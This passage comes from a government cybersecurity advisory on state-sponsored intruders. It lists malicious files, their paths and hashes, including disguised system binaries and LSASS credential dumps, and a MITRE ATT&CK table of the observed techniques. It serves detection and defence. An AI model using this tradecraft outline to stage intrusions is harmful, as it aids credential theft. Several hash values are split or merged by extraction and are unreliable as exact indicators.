should not be treated as an indicator of compromise. Note: For additional malicious files observed, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. Filename: Wininet[.]xml Path: C:\Windows\Temp\wininet[.]xml MD5: d2f4647a3749d30a35d5a8faff41765e SHA-1: 0f676bc786db3c44cac4d2d22070fb514b4cb64c SHA-256: 559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e Filename: Wininet’[.]xml MD5: 2e1e17a443dc713f13f45a9646fc2179 SHA-1: e75bfc0dd779d9d8ac02798b090989c2f95850dc Filename: WinLogon[.]xml Path: C:\Windows\Temp\WinLogon[.]xml MD5: 49c71178fa212012d710f11a0e6d1a30 SHA-1: 226f0fbb80f7a061947c982ccf33ad65ac03280f SHA-256: bcc2e4d96e7418a85509382df6609ec9a53b3805effb7ddaed093bdaf949b6ea Filename: Wininet[.]bat Path: C:\Windows\wininet[.]bat MD5: 5f098b55f94f5a448ca28904a57c0e58 SHA-1: 27102b416ef5df186bd8b35190c2a4cc4e2fbf37 SHA-256: 668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0 Filename: Winlogon[.]bat Path: C:\Windows\winlogon[.]bat MD5: 7ac4633bf064ebba9666581b776c548f SHA-1: 524443dd226173d8ba458133b0a4084a172393ef SHA-256: d14d546070afda086a1c7166eaafd9347a15a32e6be6d5d029064bfa9ecdede7 Filename: CacheTask[.]bat Path: C:\\ProgramData\Microsoft\CacheTask[.]bat MD5: ee8fd6c565254fe55a104e67cf33eaea SHA-1: 24ed561a1ddbecd170acf1797723e5d3c51c2f5d SHA-256: c1723fcad56a7f18562d14ff7a1f030191ad61cd4c44ea2b04ad57a7eb5e2837 Filename: Task_update[.]exe Path: C:\Windows\Temp\task_update[.]exe MD5: cacb64bdf648444e66c82f5ce61caf4b SHA-1: 3a6431169073d61748829c31a9da29123dd61da8 SHA-256: 12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a Filename: Task[.]exe MD5: 5b646edb1deb6396082b214a1d93691b SHA-1: 763ca462b2e9821697e63aa48a1734b10d3765ee SHA-256: 17e95ecc7fedcf03c4a5e97317cfac166b337288562db0095ccd24243a93592f Filename: dllhost[.]exe Path: C:\Windows\dllhost[.]exe MD5: 0f8b592126cc2be0e9967d21c40806bc 9a3703f9c532ae2ec3025840fa449d4e SHA-1: 3da45558d8098eb41ed7db5115af5a2c6 1c543af 8ece87086e8b5aba0d1cc4ec3804bf74e 0b45bee SHA-256: 724d54971c0bba8ff32aeb6044d3b3fd57 1b13a4c19cada015ea4bcab30cae26 1604e69d17c0f26182a3e3ff65694a4945 0aafd56a7e8b21697a932409dfd81e Filename: svchost[.]exe Path: C:\Windows\svchost[.]exe MD5: 68f58e442fba50b02130eedfc5fe4e5b 298d41f01009c6d6240bc2dc7b769205 SHA-1: 76dd6560782b13af3f44286483e157848 efc0a4e 6ca62f4244994b5fbb8a46bdfe62aa1c95 8cebbd SHA-256: b04b97e7431925097b3ca4841b894139 7b0b88796da512986327ff66426544ca 8aa3530540ba023fb29550643beb00c9c 29f81780056e02c5a0d02a1797b9cd9 Filename: User[.]exe Path: C:\Windows\Temp\user[.]exe MD5: bd131ebfc44025a708575587afeebbf3 f0be699c8aafc41b25a8fc0974cc4582 SHA-1: 8b23b14d8ec4712734a5f6261aed40942 c9e0f68 6bae2d45bbd8c4b0a59ba08892692fe86 e596154 SHA-256: b8a472f219658a28556bab4d6d109fdf3 433b5233a765084c70214c973becbbd 7b5fbbd90eab5bee6f3c25aa3c2762104 e219f96501ad6a4463e25e6001eb00b Filename: Setup[.]bat Path: C:\Users\DefaultAccount\Desktop\New folder\setup[.]bat MD5: 7fdc2d007ef0c1946f1f637b87f81590 Filename: Ssasl[.]pmd Path: C:\Windows\Temp\ssasl[.]pmd Filename: Ssasl[.]zip Path: C:\Windows\Temp\ssasl[.]zip Filename: netscanold[.]exe Path: C:\Users\DefaultAccount\Desktop\netscanold\netscanold[.]exe Filename: scan[.]csv Path: C:\Users\DefaultAccount\Desktop\scan[.]csv Filename: lsass[.]dmp Path: C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]dmp Filename: lsass[.]zip Path: C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]zip   APPENDIX B: MITRE ATT&CK TACTICS AND TECHNIQUES Table 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.   Table 2: Observed Tactics and Techniques Tactic Technique Resource Development ]TA0042] Obtain Capabilities: Malware [T1588.001] Obtain Capabilities: Tool [T1588.002] Initial Access [TA0001] Exploit Public-Facing Application [T1190] Execution [TA0002] Scheduled Task/Job: Scheduled Task [T1053.005] Persistence [TA0003] Create Account: Local Account [T1136.001] Create Account: Domain Account [T1136.002] Privilege Escalation [TA0004]   Credential Access [TA0006]   Collection [TA0009] Archive Collected Data: Archive via Utility [T1560.001] Exfiltration [TA0010]   Impact [TA0040] Data Encrypted for Impact [T1486] Revisions September 14, 2022: Initial Version This product is provided subject to this Notification and this Privacy & Use policy.

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